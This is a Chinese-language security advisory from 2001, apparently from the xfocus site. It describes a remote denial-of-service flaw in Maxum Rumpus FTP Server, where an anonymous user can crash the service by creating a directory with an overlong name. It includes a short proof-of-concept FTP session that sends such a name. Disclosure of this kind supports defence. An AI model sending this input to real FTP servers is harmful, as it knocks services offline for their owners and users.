xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Rumpus Remote FTP Server存在拒绝服务漏洞


发布时间:2001-05-18
更新时间:2001-05-18
严重程度:
威胁程度:远程拒绝服务
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Maxum Rumpus FTP Server 2.0.3dev
Maxum Rumpus FTP Server 1.3.2
详细描述
Rumpus FTP服务程序允许MACOS系统通过TCP/IP连接来文件共享。其中存在漏洞可以使匿名用户访问并使服务程序崩溃。请求建立名字超过65字符的目录操作,
会导致服务不响应。

测试代码
ftp host

user anonymous
pass anonymous

mkdir
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa

解决方案
尚无

相关信息